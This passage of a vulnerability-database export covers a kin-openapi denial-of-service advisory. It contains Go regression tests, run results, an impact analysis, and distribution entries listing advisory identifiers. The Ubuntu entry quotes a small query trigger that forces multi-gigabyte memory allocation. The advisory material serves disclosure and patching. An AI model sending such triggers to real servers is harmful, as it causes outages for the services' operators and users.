loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /p/{param}:\n get:\n parameters:\n - name: param\n in: path\n required: true\n style: simple\n explode: false\n schema:\n type: object\n properties:\n items: {type: array, maxItems: 3, items: {type: string}}\n responses:\n '200': {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 → 937.5 KiB through 50,000,000 → 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired — both matching the standalone PoC's findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) → **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21–24 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery — the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB–2 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).","status":"published","published":"2026-08-21T20:56:56Z","modified":"2026-09-10T03:51:14.78495033Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T15:46:59.835583Z"},{"id":"UBUNTU-CVE-2026-77354","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.","status":"published","published":"2026-08-21T21:17:00Z","modified":"2026-10-17T13:01:08.436774674Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T16:57:13.483205Z"},{"id":"GO-2026-6275","title":"kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding in github.com/getkin/kin-openapi","description":"kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding in github.com/getkin/kin-openapi","status":"published","published":"2026-08-25T15:00:08Z","modified":"2026-09-02T22:10:54.719995799Z","updated_at":"2026-11-02T15:47:03.11707Z"},{"id":"openSUSE-SU-2026:21761-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5026 CVE-2026-39821\n * GO-2026-6225\n * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n * GO-2026-6267 GHSA-h58c-xccx-75m3\n * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n * GO-2026-6278 GHSA-w67g-5rqw-f597\n * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n * GO-2026-6289 GHSA-w8j7-39hp-8x59\n * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n * GO-2026-4950\n * GO-2026-6093 GHSA-464c-974j-9xm6\n * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n * GO-2026-6095 GHSA-r277-6w6q-xmqw\n * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n * GO-2026-6105 GHSA-c534-2w9c-x7fm\n * GO-2026-6106 GHSA-v6w6-358x-2433\n * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n * GO-2026-6109 GHSA-86cx-wwf4-phq4\n * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n * GO-2026-6113 GHSA-p6ph-3jx2-3337\n * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n * GO-2026-6115 CVE-2026-56867\n * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n * GO-2026-6118 CVE-2026-47427 GHSA-w4q6-qw23-4rg7\n * GO-2026-6119 CVE-2026-43983 GHSA-w6p7-2fxx-4f44\n * GO-2026-6120 CVE-2026-54593 GHSA-8r6w-3qq5-4p4r\n * GO-2026-6121 CVE-2026-54345 GHSA-6r28-9ppf-4hj5\n * GO-2026-6122 CVE-2026-54332 GHSA-g6v3-7xmc-w563\n * GO-2026-6123 CVE-2026-49446 GHSA-2rx5-2g7j-2659\n * GO-2026-6124 CVE-2026-49447 GHSA-5fqm-cc34-fcf5\n * GO-2026-6125 CVE-2026-11479 GHSA-6h35-9p2w-3j3r\n * GO-2026-6126 CVE-2026-11465 GHSA-7v3v-cp44-vc8m\n * GO-2026-6127 CVE-2026-50567 GHSA-q6vm-xqc9-v3ff\n * GO-2026-6128 CVE-2026-11481 GHSA-q76h-p6jh-9rw3\n * GO-2026-6129 CVE-2026-50570 GHSA-qf5v-m7p4-95rp\n * GO-2026-6130 CVE-2026-50568 GHSA-r5jh-q2mw-gcx4\n * GO-2026-6131 CVE-2026-50569 GHSA-vchh-r53j-8mpw\n * GO-2026-6132 CVE-2026-62325 GHSA-rjrw-mjq6-hpmm\n * GO-2026-6133 CVE-2026-54719 GHSA-rmxw-pq4x-3fvh\n * GO-2026-6134 CVE-2026-66064 GHSA-964w-f6gj-5236\n * GO-2026-6135 CVE-2026-54650 GHSA-fh2f-xfxc-q9cc\n * GO-2026-6136 CVE-2026-64863 GHSA-hq33-8jgp-8qq3\n * GO-2026-6137 CVE-2026-66063 GHSA-wg2q-39h6-66x9\n * GO-2026-6138 CVE-2026-54638 GHSA-whmm-qj9r-wvr2\n * GO-2026-6139 CVE-2026-54735 GHSA-4p3g-4hcj-wpvx\n * GO-2026-6140 CVE-2026-11500 GHSA-jqpm-wf57-qx5c\n * GO-2026-6141 CVE-2026-54693 GHSA-jq8w-8q2f-ffm9\n * GO-2026-6142 CVE-2026-54680 GHSA-mjqf-28ph-426h\n * GO-2026-6143 GHSA-xvg2-cgv6-6h7v\n * GO-2026-6144 CVE-2026-67439 GHSA-jm28-2wcr-qf3h\n * GO-2026-6145 CVE-2026-67438 GHSA-xc5w-4v5w-7x65\n * GO-2026-6146 CVE-2026-67437 GHSA-xpxj-f2fm-rqch\n * GO-2026-6147 CVE-2026-25688 GHSA-hmr2-99jm-8x45\n * GO-2026-6148 CVE-2026-25699 GHSA-w754-5646-xq9j\n * GO-2026-6151 CVE-2026-34033 GHSA-6qwm-5fm9-cvjx\n * GO-2026-6152 CVE-2026-34905 GHSA-85r2-pvg8-89r9\n * GO-2026-6153 CVE-2026-33582 GHSA-v553-g2w6-295p\n * GO-2026-6154 CVE-2026-34031 GHSA-x4f6-mqg6-28xx\n * GO-2026-6155 CVE-2026-65834 GHSA-68cj-mvg9-rgm2\n * GO-2026-6156 CVE-2026-52856 GHSA-ghrq-5wpp-hxx5\n * GO-2026-6157 CVE-2026-65835 GHSA-jr6p-8pjj-mfx6\n * GO-2026-6158 CVE-2026-52855 GHSA-pfvc-3p5h-x7h6\n * GO-2026-6159 CVE-2026-52857 GHSA-q6hh-gp44-4hcm\n * GO-2026-6160 CVE-2026-54725 GHSA-r2v3-8gwf-7ghm\n * GO-2026-6161 CVE-2026-53551 GHSA-qj55-47fp-p62j\n * GO-2026-6162 CVE-2026-54787 GHSA-wqqc-jjcq-vfxm\n * GO-2026-6163 CVE-2026-54909 GHSA-34rh-wp3j-6cxc\n * GO-2026-6164 CVE-2026-54910 GHSA-vvp7-h4fj-m28w\n * GO-2026-6165 CVE-2026-54908 GHSA-wg4g-wm44-ch5j\n * GO-2026-6166 CVE-2026-56868\n * GO-2026-6168 CVE-2026-56869\n * GO-2026-6169 CVE-2026-56870\n * GO-2026-6170 CVE-2026-56871\n * GO-2026-6171 CVE-2026-56872\n * GO-2026-6172 CVE-2026-56873\n * GO-2026-6173 CVE-2026-56874\n * GO-2026-6181 GHSA-gwfq-86j8-7qhv\n * GO-2026-6182 CVE-2026-71312 GHSA-2m8m-jhrm-w6j2\n * GO-2026-6183 GHSA-3x6r-wxxg-53vv\n * GO-2026-6184 CVE-2026-71309 GHSA-45pq-889g-fcgh\n * GO-2026-6185 CVE-2026-59732 GHSA-4vr5-p2gc-h23p\n * GO-2026-6186 CVE-2026-71313 GHSA-7p4m-qxvv-g567\n * GO-2026-6187 CVE-2026-71311 GHSA-8c48-q9wj-3w37\n * GO-2026-6188 GHSA-8mxv-9xhp-86h4\n * GO-2026-6189 GHSA-8v25-v8p6-qf7v\n * GO-2026-6190 GHSA-945v-v9p3-v5xw\n * GO-2026-6191 CVE-2026-54572 GHSA-cf44-9pgv-m4xc\n * GO-2026-6192 CVE-2026-65602 GHSA-42cj-m3vj-89wv\n * GO-2026-6195 CVE-2026-59733 GHSA-fqj9-69pf-6pjg\n * GO-2026-6196 GHSA-gx4c-2hqx-cw2r\n * GO-2026-6197 GHSA-h4mf-4v27-hggj\n * GO-2026-6198 CVE-2026-65601 GHSA-qq9q-x9w4-chhj\n * GO-2026-6199 CVE-2026-71310 GHSA-xhf4-832v-7xcr\n * GO-2026-6201 CVE-2026-71324 GHSA-3ccp-42pg-hgv6\n * GO-2026-6202 CVE-2026-54764 GHSA-3q9r-p662-5j8m\n * GO-2026-6203 CVE-2026-71325 GHSA-62fc-8686-hfmq\n * GO-2026-6204 CVE-2026-71326 GHSA-6765-c87h-8mrf\n * GO-2026-6205 CVE-2026-54765 GHSA-6p8f-p8j2-rqmv\n * GO-2026-6207 CVE-2026-67309 GHSA-8rxv-jg7p-wvg3\n * GO-2026-6208 CVE-2026-65600 GHSA-cxjq-mrr5-89rv\n * GO-2026-6209 CVE-2026-71327 GHSA-fgjj-px3w-67xx\n * GO-2026-6211 CVE-2026-54763 GHSA-x677-9fxg-v5c5\n * GO-2026-6212 CVE-2026-39904 GHSA-42jc-v69j-g38f\n * GO-2026-6213 CVE-2026-71556 GHSA-hc8v-wwc9-vgxm\n * GO-2026-6214 CVE-2026-71557 GHSA-qgq7-7hm3-q39j\n * GO-2026-6216\n * GO-2026-6219 CVE-2026-73080 GHSA-87fv-vqqr-m4jr\n * GO-2026-6220 CVE-2026-48786 GHSA-88p2-jj8w-j8qg\n * GO-2026-6221 CVE-2026-54917 GHSA-w62w-66v9-vvgv\n * GO-2026-6223 CVE-2026-54526 GHSA-48p8-g2fx-3wwm\n * GO-2026-6224 CVE-2026-53469 GHSA-6xvf-9742-48w2\n * GO-2026-6227 CVE-2026-35511 GHSA-29rf-f4vv-pvq6\n * GO-2026-6228 CVE-2026-53471 GHSA-2fqw-7c6r-2cq6\n * GO-2026-6229 CVE-2026-53470 GHSA-v5m8-5455-qw2x\n * GO-2026-6230 CVE-2026-53657 GHSA-2j9v-p4xj-cjw2\n * GO-2026-6231 CVE-2026-53476 GHSA-7j4w-x8x8-5mvg\n * GO-2026-6232 CVE-2026-53475 GHSA-8g5p-jxp9-457c\n * GO-2026-6233 CVE-2026-53474 GHSA-vf2h-7x3w-97fr\n * GO-2026-6234 CVE-2026-53658 GHSA-xghw-p77p-3r7x\n * GO-2026-6237\n * GO-2026-6238 CVE-2026-10722 GHSA-xhgw-qwwf-pg32\n * GO-2026-6240 CVE-2026-64859 GHSA-6x2c-phff-wx57\n * GO-2026-6241 CVE-2026-45099 GHSA-8394-6f8r-whxg\n * GO-2026-6242 CVE-2026-71479 GHSA-8r8v-xf7q-rcpr\n * GO-2026-6243 CVE-2026-64865 GHSA-j6gc-4893-qwmp\n * GO-2026-6244 CVE-2026-64866 GHSA-p845-629j-rcj6\n * GO-2026-6245 CVE-2026-64868 GHSA-v828-m3pf-vq9q\n * GO-2026-6246 GHSA-fhgh-wq4q-r37x\n * GO-2026-6247 CVE-2026-55062 GHSA-m6jg-wr9m-cg2f\n * GO-2026-6248 CVE-2026-55061 GHSA-qmcq-xw74-w667\n * GO-2026-6249 CVE-2026-25700 GHSA-4gw2-vg4x-7p29\n\n- Update to version 0.0.20260814T162254 2026-08-14T16:22:54Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5021 CVE-2026-42508 GHSA-5cgq-3rg8-m6cv\n * GO-2026-5942 CVE-2026-46600\n * GO-2026-5972 CVE-2026-33818\n * GO-2026-6088 CVE-2026-56859\n * GO-2026-6089 CVE-2026-56853\n * GO-2026-6090 CVE-2026-56862\n * GO-2026-6091 CVE-2026-56858\n * GO-2026-6179 CVE-2026-56865\n * GO-2026-6180 CVE-2026-56864\n * GO-2026-6218 CVE-2026-56860\n * GO-2026-6222 CVE-2026-46603\n\n- Update to version 0.0.20260811T232133 2026-08-11T23:21:33Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5005 CVE-2026-39833 GHSA-jppx-rxg9-jmrx\n * GO-2026-5006 CVE-2026-39832 GHSA-f5wc-c3c7-36mc\n * GO-2026-5075 CVE-2026-57210 GHSA-38x9-25wx-7fg2\n * GO-2026-5119 CVE-2026-48119 GHSA-4g6j-g789-rghm\n * GO-2026-5152 CVE-2026-48491 GHSA-5r4w-85f3-pw66\n * GO-2026-5274 CVE-2026-40173 GHSA-95mq-xwj4-r47p\n * GO-2026-5287 CVE-2026-53622 GHSA-9cr8-q42q-g8m7\n * GO-2026-5306 CVE-2026-34179 GHSA-c3h3-89qf-jqm5\n * GO-2026-5368 CVE-2026-34177 GHSA-fm2x-c5qw-4h6f\n * GO-2026-5466 CVE-2026-41179 GHSA-jfwf-28xr-xw6q\n * GO-2026-5516 CVE-2026-41327 GHSA-mrxx-39g5-ph77\n * GO-2026-5529 CVE-2026-34976 GHSA-p5rh-vmhp-gvcw\n * GO-2026-5532 CVE-2026-41181 GHSA-p6hg-qh38-555r\n * GO-2026-5576 CVE-2026-34178 GHSA-q96j-3fmm-7fv4\n * GO-2026-5596 CVE-2026-49980 GHSA-qw24-gh76-8rvv\n * GO-2026-5668 CVE-2026-41568 GHSA-vp62-88p7-qqf5\n * GO-2026-5970 CVE-2026-56852\n","status":"published","published":"2026-09-04T12:30:23Z","modified":"2026-09-09T18:23:14.573173825Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-GOBINARY-CVE-2026-77354","title":"CVE-2026-77354 in github.com/getkin/kin-openapi - Patched by Root","description":"Root has patched CVE-2026-77354 in the github.com/getkin/kin-openapi package for Root:Go. Multiple fixed versions available.","status":"published","published":"2026-11-06T16:07:22Z","modified":"2026-11-06T17:15:03.936047172Z","updated_at":"2026-11-06T17:29:53.772048Z"},{"id":"SUSE-SU-2026:23625-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20260827T195228 2026-08-27T19:52:28Z (jsc#PED-11136).\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-5026 CVE-2026-39821\n * GO-2026-6225\n * GO-2026-6250 CVE-2026-63328 GHSA-8rc5-4fr6-64pw\n * GO-2026-6253 CVE-2026-17106 GHSA-hfg8-hc9c-6c3h\n * GO-2026-6254 CVE-2026-53941 GHSA-vjhx-2cqw-3q6q\n * GO-2026-6255 CVE-2026-61711 GHSA-7236-3392-c5c6\n * GO-2026-6256 CVE-2026-61712 GHSA-72x6-4j93-7w86\n * GO-2026-6258 CVE-2026-45404 GHSA-42cj-99w8-cp2p\n * GO-2026-6259 CVE-2026-32637 GHSA-j2g6-362q-6qc6\n * GO-2026-6260 CVE-2026-55149 GHSA-qqff-5854-px68\n * GO-2026-6261 CVE-2026-54061 GHSA-rrwh-6jrq-wp5v\n * GO-2026-6262 GHSA-22w5-2fxg-vrwx\n * GO-2026-6263 CVE-2026-54168 GHSA-6f2p-296r-cc28\n * GO-2026-6264 CVE-2026-54245 GHSA-7q96-f8xw-jv5j\n * GO-2026-6265 GHSA-8fxq-53rx-ph5f\n * GO-2026-6266 CVE-2026-54167 GHSA-f5f4-3hh4-f54m\n * GO-2026-6267 GHSA-h58c-xccx-75m3\n * GO-2026-6268 GHSA-q9c5-pp7m-fm2g\n * GO-2026-6269 GHSA-rxhg-vcww-2mpw\n * GO-2026-6270 CVE-2026-54162 GHSA-x3g7-qrwc-f6c5\n * GO-2026-6271 CVE-2026-67448 GHSA-8r62-w5wh-fc5m\n * GO-2026-6272 CVE-2026-67447 GHSA-r553-m4fv-5v97\n * GO-2026-6273 CVE-2026-64679 GHSA-26w5-6g95-gj28\n * GO-2026-6274 CVE-2026-76905 GHSA-mmfr-pmjx-hw9w\n * GO-2026-6275 CVE-2026-77354 GHSA-xhj3-7xw9-vr34\n * GO-2026-6277 GHSA-4ph6-mjv7-3fq6\n * GO-2026-6278 GHSA-w67g-5rqw-f597\n * GO-2026-6279 CVE-2026-6046 GHSA-3vmp-whvv-5v9v\n * GO-2026-6280 CVE-2026-7387 GHSA-6hxm-w4hv-vgvw\n * GO-2026-6281 CVE-2026-6961 GHSA-8qq9-cqj8-82w4\n * GO-2026-6282 CVE-2026-7184 GHSA-9p44-r552-4wp9\n * GO-2026-6283 CVE-2026-6689 GHSA-c28q-m4gf-vg4q\n * GO-2026-6284 CVE-2026-55477 GHSA-jm48-m3rr-9hgg\n * GO-2026-6285 CVE-2026-6739 GHSA-m2w9-h2mm-79qr\n * GO-2026-6286 CVE-2026-3433 GHSA-rp4v-qc77-phm4\n * GO-2026-6287 GHSA-vx2m-jpxr-xv7w\n * GO-2026-6288 CVE-2026-11624 GHSA-76g7-m3xw-x9gr\n * GO-2026-6289 GHSA-w8j7-39hp-8x59\n * GO-2026-6290 CVE-2026-55581 GHSA-3x77-wg38-92r3\n * GO-2026-6291 CVE-2026-55582 GHSA-74hp-mggr-hv58\n * GO-2026-6292 CVE-2026-55580 GHSA-f5pj-2738-996m\n * GO-2026-6293 CVE-2026-55677 GHSA-vfp3-v2gw-7wfq\n * GO-2026-6294 CVE-2026-55092 GHSA-mcj4-mphf-j9ff\n * GO-2026-6295 CVE-2026-55637 GHSA-cmwv-wf9p-p8wx\n * GO-2026-6296 CVE-2026-54523 GHSA-79gf-7frw-68m9\n * GO-2026-6297 CVE-2026-50879 GHSA-g743-m6x3-v6wm\n * GO-2026-6298 CVE-2026-54563 GHSA-w5fv-7x5q-g8qp\n * GO-2026-6299 CVE-2026-50884 GHSA-5442-mh7f-72px\n * GO-2026-6300 CVE-2026-50891 GHSA-rcqf-cpv9-g5jf\n * GO-2026-6301 CVE-2026-42350 GHSA-g7gw-m874-7rmf\n\n- Update to version 0.0.20260819T170606 2026-08-19T17:06:06Z.\n\n Go CVE Numbering Authority IDs added or updated with aliases:\n\n * GO-2026-4720 GHSA-v3mg-9v85-fcm7\n * GO-2026-4942 CVE-2026-35172 GHSA-f2g3-hh2r-cwgc\n * GO-2026-4950\n * GO-2026-6093 GHSA-464c-974j-9xm6\n * GO-2026-6094 GHSA-gcjh-h69q-9w9g\n * GO-2026-6095 GHSA-r277-6w6q-xmqw\n * GO-2026-6097 CVE-2026-55495 GHSA-49h3-cwhj-4737\n * GO-2026-6098 CVE-2026-55496 GHSA-8r7f-r8hj-r3rv\n * GO-2026-6099 CVE-2026-57497 GHSA-g35j-m5xg-vh3q\n * GO-2026-6100 CVE-2026-55497 GHSA-g9j2-8w95-3vwv\n * GO-2026-6101 CVE-2026-55502 GHSA-hq88-5x99-x3gf\n * GO-2026-6102 CVE-2026-55499 GHSA-w8x7-h2px-xmq8\n * GO-2026-6103 CVE-2026-73564 GHSA-26gq-p25f-99cp\n * GO-2026-6104 CVE-2026-62323 GHSA-c3jm-gv5r-9wcp\n * GO-2026-6105 GHSA-c534-2w9c-x7fm\n * GO-2026-6106 GHSA-v6w6-358x-2433\n * GO-2026-6107 CVE-2026-73500 GHSA-6vch-q96h-7gc3\n * GO-2026-6108 CVE-2026-73505 GHSA-6xj8-qv9j-xcjq\n * GO-2026-6109 GHSA-86cx-wwf4-phq4\n * GO-2026-6110 CVE-2026-73509 GHSA-95cv-r8x4-vh75\n * GO-2026-6111 CVE-2026-73506 GHSA-fwjx-9p69-h25h\n * GO-2026-6112 CVE-2026-73502 GHSA-jpcw-4wr7-c3vq\n * GO-2026-6113 GHSA-p6ph-3jx2-3337\n * GO-2026-6114 CVE-2026-73499 GHSA-xg4h-6gfc-h4m8\n * GO-2026-6115 CVE-2026-56867\n * GO-2026-6117 GHSA-hp74-gm6m-2qm5\n * GO-2026-6118 CVE-2026-47427 